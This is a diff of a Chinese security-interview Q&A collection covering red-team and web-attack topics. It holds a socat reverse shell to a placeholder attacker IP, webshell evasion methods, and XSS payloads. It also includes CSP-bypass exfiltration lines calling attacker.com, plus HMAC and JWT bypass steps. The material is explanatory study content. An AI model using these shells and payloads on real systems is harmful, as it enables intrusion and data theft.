socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444
|
||||||
|
```
|
||||||
|
|
||||||
|
- **优点**:获得完整的伪终端,支持 Tab 补全、作业控制、信号处理
|
||||||
|
- **缺点**:`socat` 并非默认安装,可能需要上传静态编译版本
|
||||||
|
|
||||||
|
**方法三:使用 Expect**
|
||||||
|
|
||||||
|
`expect` 常用于自动化交互式程序,也可以用来提升 TTY
|
||||||
|
|
||||||
|
```bash
|
||||||
|
expect -c 'spawn bash; interact'
|
||||||
|
```
|
||||||
|
|
||||||
|
- **原理**:`spawn` 创建一个新的伪终端进程,`interact` 将控制权交给用户
|
||||||
|
- **前提**:需要目标安装 `expect`
|
||||||
|
|
||||||
|
**方法四:使用 Stty 手动配置**
|
||||||
|
|
||||||
|
即使没有额外工具,也可以通过 `stty` 命令手动恢复终端的基本功能:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 在当前受限 Shell 中执行
|
||||||
|
stty raw -echo
|
||||||
|
# 按下 Ctrl+J(不是回车)重新连接
|
||||||
|
# 然后输入 reset 并按 Ctrl+J
|
||||||
|
reset
|
||||||
|
export SHELL=bash
|
||||||
|
export TERM=xterm-256color
|
||||||
|
stty rows 38 columns 116
|
||||||
|
```
|
||||||
|
|
||||||
|
步骤解析:
|
||||||
|
|
||||||
|
1. `stty raw -echo`:关闭终端的行缓冲和回显,使字符立即传递
|
||||||
|
2. `Ctrl+J`(即换行符)重新连接 Shell
|
||||||
|
3. `reset` 初始化终端状态
|
||||||
|
4. 设置环境变量和终端尺寸(可选)
|
||||||
|
|
||||||
|
**方法五:使用其他编程语言**
|
||||||
|
|
||||||
|
如果目标没有 Python 但有 Perl(很多系统默认安装)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
perl -e 'use POSIX qw(setsid); print " spawn tty\n"; system("bash -i");'
|
||||||
|
```
|
||||||
|
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
### 请简述 udev 提权漏洞的基本原理
|
||||||
|
|
||||||
|
**udev** 是 Linux 内核的设备管理器,负责动态管理 `/dev` 目录下的设备节点
|
||||||
|
|
||||||
|
当内核检测到硬件事件(如插入 USB 设备)时,会通过 **netlink 套接字** 向用户空间的 udev 守护进程发送 **uevent**(设备事件)
|
||||||
|
|
||||||
|
udev 根据 `/etc/udev/rules.d/` 中的规则执行相应操作(如创建设备文件、加载驱动、运行自定义程序)
|
||||||
|
|
||||||
|
内核发送的 uevent 本质是一条包含环境变量(如 `ACTION=add`、`DEVPATH=...`)的字符串
|
||||||
|
|
||||||
|
udev 守护进程以 **root 权限** 运行,它接收并解析这些消息,然后根据规则执行操作
|
||||||
|
|
||||||
|
**问题在于**:netlink 套接字不仅允许内核向 udev 发送消息,**也允许用户空间的普通进程向 udev 发送伪造的 uevent**
|
||||||
|
|
||||||
|
发送伪造消息后,udev 以 root 权限处理该消息,执行攻击者控制的命令
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
### WebShell 免杀方式有哪些
|
||||||
|
|
||||||
|
**字符串拆分与拼接**:将敏感函数名、命令拆分为多段,运行时动态拼接
|
||||||
|
|
||||||
|
**编码与加密**:使用 Base64、AES 等编码核心载荷,运行时解码执行
|
||||||
|
|
||||||
|
**变量名与函数名随机化**:使用无意义的变量名,增加人工分析难度
|
||||||
|
|
||||||
|
**使用冷门回调函数**:如 `array_map`、`array_filter`、`usort` 等配合 `call_user_func`
|
||||||
|
|
||||||
|
**利用反射或动态特性**:PHP 中通过 `$func = new ReflectionFunction('system'); $func->invoke('whoami');`
|
||||||
|
|
||||||
|
**借助语言自身机制**:如 Java 中的 ScriptEngine、Python 的 `exec`/`eval` 多层包装
|
||||||
|
|
||||||
|
**分段加载**:主 Shell 代码仅负责从远端获取真正的后门代码并执行(类似 Stager 模式)
|
||||||
|
|
||||||
|
**时间条件**:仅在特定时间或延迟几秒后执行,规避沙箱的短时间行为分析
|
||||||
|
|
||||||
|
**换行符/注释混淆**:在关键函数中插入换行、多行注释、无效字符
|
||||||
|
|
||||||
|
**多层嵌套与动态调用**:将执行链拆解为多步,每一步看似正常,运行时才组合
|
||||||
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
### 为什么很多 XSS 在 Chrome 可以复现,但在 Firefox 不行?你如何判断这是漏洞问题还是浏览器差异?
|
||||||
|
|
||||||
|
**1. 为什么 Chrome 能行,Firefox 不行?**
|
||||||
|
|
||||||
|
这种情况通常由以下三个核心原因引起:
|
||||||
|
|
||||||
|
**A. 解析器状态机的处理差异**
|
||||||
|
|
||||||
|
虽然 HTML5 有标准规范,但内核实现(Chromium 的 **Blink** vs Firefox 的 **Gecko**)在处理“非法”或“畸形”代码时逻辑不同
|
||||||
|
|
||||||
|
- **例子**:对于 `location=/\02.rs/` 这种利用反斜杠规范化的 Payload,Chromium 倾向于将其“宽容”地纠正为协议相对路径 `//`,而 Firefox 的解析器可能更加严格,将其视为合法的本地相对路径,从而导致跳转失败
|
||||||
|
|
||||||
|
**B. 过滤机制与 XSS Auditor (历史上)**
|
||||||
|
|
||||||
|
虽然 Chrome 已经移除了内置的 XSS Auditor,但 Chromium 内核在处理 **URL 编码/解码** 以及 **MIME 类型猜解 (MIME Sniffing)** 时比 Firefox 更“灵活”
|
||||||
|
|
||||||
|
- Firefox 对 `Content-Type` 的检查通常更死板。如果服务器返回 `text/plain` 但内容包含 HTML,Chrome 可能会尝试渲染(触发 XSS),而 Firefox 则会将其下载或作为纯文本显示
|
||||||
|
|
||||||
|
**C. 安全机制的默认强度**
|
||||||
|
|
||||||
|
- **内联事件处理**:Firefox 在某些版本中对伪协议(如 `javascript:`)在 `iframe` 或特定标签中的执行有更严格的上下文隔离
|
||||||
|
- **对 `noscript` 或特殊标签的解析**:某些标签在不同浏览器中的“自闭合”逻辑不同,导致 Payload 逃逸失败
|
||||||
|
|
||||||
|
**2. 如何判断是“漏洞问题”还是“浏览器差异”?**
|
||||||
|
|
||||||
|
当我们遇到“Chrome 弹窗,Firefox 没反应”时,我会通过以下步骤进行定性分析:
|
||||||
|
|
||||||
|
**第一步:检查控制台 (Console) 报错**
|
||||||
|
|
||||||
|
这是最直观的方法
|
||||||
|
|
||||||
|
- **浏览器差异**:如果在 Firefox 控制台看到 `Content Security Policy: The page's settings blocked the loading of a resource...` 而 Chrome 没报,说明是 **CSP 策略兼容性**问题
|
||||||
|
- **漏洞失效**:如果看到 `SyntaxError`,说明 Payload 在 Firefox 的 JS 引擎中存在语法错误,这属于 **Payload 构造的健壮性**问题
|
||||||
|
|
||||||
|
**第二步:对比 DOM 树结构**
|
||||||
|
|
||||||
|
我会同时在两个浏览器中打开开发者工具,观察注入后的 **Elements 树**
|
||||||
|
|
||||||
|
- 如果在 Chrome 中 Payload 成功逃逸出了标签(例如变成了独立的 `<script>`),但在 Firefox 中它仍然被包裹在一个属性或注释里,这说明是 **HTML 解析器差异**
|
||||||
|
|
||||||
|
**第三步:环境净化测试**
|
||||||
|
|
||||||
|
- **实验**:将同样的 Payload 放在一个最简单的本地 `.html` 文件中运行
|
||||||
|
- **判定**:
|
||||||
|
- 如果本地运行两个都弹窗,但线上只有 Chrome 弹:说明是 **WAF 或后端过滤逻辑** 刚好只被 Chrome 的某种解析特性绕过了
|
||||||
|
- 如果本地运行依然只有 Chrome 弹:说明这纯粹是 **浏览器底层特性利用**(浏览器 Bug 或特性),不属于通用 Web 漏洞
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
### 黑名单拦截了所有常见标签和事件,但页面仍然需要支持富文本渲染,你会从哪些方向尝试突破?
|
||||||
|
|
||||||
|
1. 黑名单通常基于已知的威胁列表,但 HTML 标准在不断演进,总有漏网之鱼
|
||||||
|
|
||||||
|
**多媒体标签的嵌套属性**:除了 `video`,还有 `audio`、`track`、`embed`
|
||||||
|
|
||||||
|
**交互式元素**:`details` 和 `summary` 标签
|
||||||
|
|
||||||
|
**SVG 内部的深层逻辑**:SVG 不仅仅是图片,它是 XML
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
2. 如果富文本允许 `style` 标签或 `style` 属性,即使无法执行 JS,也能造成极高危害
|
||||||
|
|
||||||
|
**利用 `content` 与伪元素**:在某些特定环境下,CSS 甚至可以触发特定的交互行为或点击劫持
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
3. 富文本渲染往往伴随着前端框架(如 Vue、Angular、React)
|
||||||
|
|
||||||
|
**双大括号语法**:如果后端直接把富文本内容丢进了前端模板的渲染区域,可以尝试注入模板指令
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
4. 黑名单通常使用正则匹配,而正则很难处理复杂的 HTML 解析状态
|
||||||
|
|
||||||
|
**利用畸形编码**:在支持富文本的编辑器(如 TinyMCE, CKEditor)中,测试其对 `\r`、`\n` 或 `\0` 的处理。有时编辑器会将这些字符过滤掉,但过滤后的字符串恰好拼凑成了恶意代码
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
### CSP 的绕过方式有哪些
|
||||||
|
|
||||||
|
**1. 配置缺陷类:`unsafe-inline` 与 `unsafe-eval`**
|
||||||
|
|
||||||
|
这是最常见的情况。很多开发者为了兼容旧代码,会开启这两个极其危险的指令
|
||||||
|
|
||||||
|
- **`unsafe-inline`**:允许执行内联脚本(如 `<script>alert(1)</script>` 或 `onclick` 事件)
|
||||||
|
- **`unsafe-eval`**:允许使用 `eval()`、`setTimeout(string)`、`new Function()` 等将字符串转化为代码执行的函数。
|
||||||
|
|
||||||
|
**2. 白名单滥用类:利用“信任域”中的 Gadgets**
|
||||||
|
|
||||||
|
如果 CSP 允许了某个大厂的 CDN 或业务子域名(如 `script-src 'self' https://cdn.staticfile.org`),攻击者可以寻找该域名下的“跳板”
|
||||||
|
|
||||||
|
- **JSONP 绕过**:寻找白名单域名下的 JSONP 接口
|
||||||
|
- **Payload**: `<script src="https://trusted.com/jsonp?callback=alert"></script>`
|
||||||
|
- **AngularJS / Vue 库绕过**:如果白名单内包含这些前端框架,攻击者可以注入符合框架语法的 HTML 模板,利用框架内部的 `eval` 逻辑执行代码(即客户端模板注入 CSTI)
|
||||||
|
- **开源库 Gadgets**:利用已知的库漏洞(如旧版 jQuery、Bootstrap),通过特定的 HTML 结构触发其内部的动态代码执行逻辑
|
||||||
|
|
||||||
|
**3. 同源策略绕过:文件上传与路径漏洞**
|
||||||
|
|
||||||
|
当 `script-src` 设置为 `'self'` 时,浏览器信任同源下的所有文件
|
||||||
|
|
||||||
|
- **文件上传劫持**:如果站点允许上传图片或文档,攻击者可以上传一个伪装成图片的 JS 文件(如 `evil.jpg`,内容为 JS 代码)
|
||||||
|
- **攻击**:`<script src="/user/uploads/evil.jpg"></script>`
|
||||||
|
- **路径截断与覆盖**:在某些复杂的 Web 架构中,利用路径跳转(Path Traversal)或服务器解析差异,尝试让浏览器去加载攻击者可控的静态资源
|
||||||
|
|
||||||
|
**4. DOM 破坏**
|
||||||
|
|
||||||
|
这是一种不需要违反 CSP `script-src` 规则的攻击方式
|
||||||
|
|
||||||
|
- **原理**:利用 HTML 标签的 `id` 或 `name` 属性,覆盖全局 JavaScript 变量
|
||||||
|
- **绕过思路**:如果合法的 JS 代码逻辑依赖于某个全局变量(如 `window.config.url`),攻击者通过注入 `<a id="config"><a id="config" name="url" href="javascript:alert(1)">` 来修改该变量的值,从而改变合法脚本的执行流
|
||||||
|
|
||||||
|
**5. 数据外传**
|
||||||
|
|
||||||
|
如果无法执行脚本,攻击者的目标通常转向“窃取敏感数据”
|
||||||
|
|
||||||
|
- **悬挂标记注入(Dangling Markup)**: 利用不完整的标签(如 `<img src='https://attacker.com/log?`)将页面后续的内容(如 CSRF Token)作为 URL 参数带出
|
||||||
|
- **DNS 预取(DNS Prefetching)**: 利用 `<link rel="dns-prefetch" href="//[data].attacker.com">`,通过观察 DNS 日志来逐字节带出数据
|
||||||
|
- **利用 `meta` 标签**: 注入 `<meta http-equiv="refresh" content="0; url=https://attacker.com/?data=...">` 强制跳转
|
||||||
|
|
||||||
|
**6. 绕过 `nonce` 和 `hash`**
|
||||||
|
|
||||||
|
现代严格的 CSP 会使用 `nonce`(一次性随机数)或 `hash`
|
||||||
|
|
||||||
|
- **Nonce 泄露**:如果页面存在悬挂标记漏洞或其他注入点,可能导致当前页面的 `nonce` 被读取
|
||||||
|
- **缓存污染**:利用某些缓存机制,尝试让浏览器加载并执行之前缓存的、带有旧 `nonce` 的脚本(较罕见)
|
||||||
|
- **利用 Base 标签**:如果没有设置 `base-uri 'none'`,注入 `<base href="https://attacker.com/">` 可能会导致页面上所有的相对路径脚本都请求到黑客的服务器
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
### 反射型、存储型、DOM 型 XSS 的核心区别
|
||||||
|
|
||||||
|
| 类型 | 数据是否存储 | 是否经过服务端 | 执行位置 |
|
||||||
|
| ------ | ------------ | -------------- | ------------- |
|
||||||
|
| 反射型 | ❌ | ✅ | 浏览器 |
|
||||||
|
| 存储型 | ✅ | ✅ | 浏览器 |
|
||||||
|
| DOM 型 | ❌ | ❌ | **纯前端 JS** |
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
### 为什么说 DOM XSS 对传统 WAF 基本免疫
|
||||||
|
|
||||||
|
在传统的 **反射型 XSS** 或 **存储型 XSS** 中,Payload 必须经过 HTTP 请求发送到服务器(WAF 就在这里把守),然后再由服务器返回给浏览器
|
||||||
|
|
||||||
|
而在 **DOM XSS** 中,攻击载荷往往隐藏在 **URL 锚点(#,Fragment)** 之后
|
||||||
|
|
||||||
|
- **URL 结构**:`https://example.com/page.html?name=val#<script>alert(1)</script>`
|
||||||
|
- **WAF 的尴尬**:根据 HTTP 协议标准,**浏览器不会将 `#` 之后的内容发送给服务器**
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
### 如果你发现一个输入点最终进入了 `<textarea>`,你是直接放弃,还是继续深入?为什么?
|
||||||
|
|
||||||
|
`<textarea>` 属于 **RCDATA 元素**。浏览器在解析它时,会一直寻找闭合标签 `</textarea>`
|
||||||
|
|
||||||
|
- **深入策略**:我首先会测试是否能直接闭合标签
|
||||||
|
- **Payload**:`</textarea><script>alert(1)</script>`
|
||||||
|
|
||||||
|
如果后端没有对 `</textarea>` 这一特定字符串进行过滤或转义,解析器会立即跳出“文本模式”回到“HTML 模式”,从而执行后面的脚本
|
||||||
|
|
||||||
|
有些 WAF 会过滤 `<script>`,但对换行符的处理非常粗糙
|
||||||
|
|
||||||
|
在某些环境下,利用换行符或不可见字符可能导致过滤器认为 Payload 已经结束,但浏览器却能将其连贯解析
|
||||||
|
|
||||||
|
```
|
||||||
|
</textarea
|
||||||
|
> <svg/onload=alert(1)>
|
||||||
|
```
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
### Web 测试越权漏洞发现敏感参数都经过了带有 HMAC 验证,在无法暴力破解 Key 的情况下怎么绕过
|
||||||
|
|
||||||
|
**1. 算法混淆与降级**
|
||||||
|
|
||||||
|
- 尝试将签名算法字段改为 `none` 或弱算法,观察是否被接受
|
||||||
|
|
||||||
|
**2. 签名比较方式**
|
||||||
|
|
||||||
|
- 若后端使用 `==` 或 `strcmp` 进行字符串比较,可能被**时序攻击**或**类型混淆**利用
|
||||||
|
|
||||||
|
**3. 签名截断**
|
||||||
|
|
||||||
|
- 某些系统只验证签名的前几位(如前16位),可尝试截断签名或提交短签名,观察是否通过校验
|
||||||
|
|
||||||
|
**4. 参数注入与覆盖**
|
||||||
|
|
||||||
|
- 利用 HTTP 参数解析歧义(如 `role=A&role=admin`),后端可能取第一个或最后一个值,而签名可能只覆盖其中一个
|
||||||
|
|
||||||
|
**5. 参数排序与拼接**
|
||||||
|
|
||||||
|
- 如果签名基于键值对拼接(如`k1=v1&k2=v2`),但后端解析时对参数进行排序或去重,导致签名验证时使用的字符串与原始不同。尝试调整参数顺序,使签名仍匹配
|
||||||
|
|
||||||
|
**6. 签名生成接口暴露**
|
||||||
|
|
||||||
|
- 检查是否存在未授权的签名生成接口(如`/sign?data=...`),可构造任意参数的签名。若该接口未严格校验权限,则直接获取有效签名
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
### JWT 有哪些漏洞
|
||||||
|
|
||||||
|
**1. 算法混淆攻击**
|
||||||
|
|
||||||
|
- 原理:服务器使用 RS256(非对称加密)验证令牌,但攻击者将算法头部改为 HS256(对称加密),并利用服务器公钥作为 HMAC 密钥签名令牌。
|
||||||
|
- 利用条件:服务器未严格校验算法类型,且公钥可获取
|
||||||
|
- 攻击步骤:
|
||||||
|
1. 获取服务器公钥(通常从 `/jwks.json` 或重复使用 SSL 证书)
|
||||||
|
2. 修改 JWT 头部:`"alg":"HS256"`
|
||||||
|
3. 使用公钥作为密钥生成 HMAC 签名
|
||||||
|
4. 服务器用公钥解密(误认为是 HMAC 密钥)→ 验证通过
|
||||||
|
|
||||||
|
**2. none 算法攻击**
|
||||||
|
|
||||||
|
- **原理**:将 `alg` 头部设为 `none`,使服务器跳过签名验证
|
||||||
|
- **利用**:直接删除签名部分,修改 Payload 内容
|
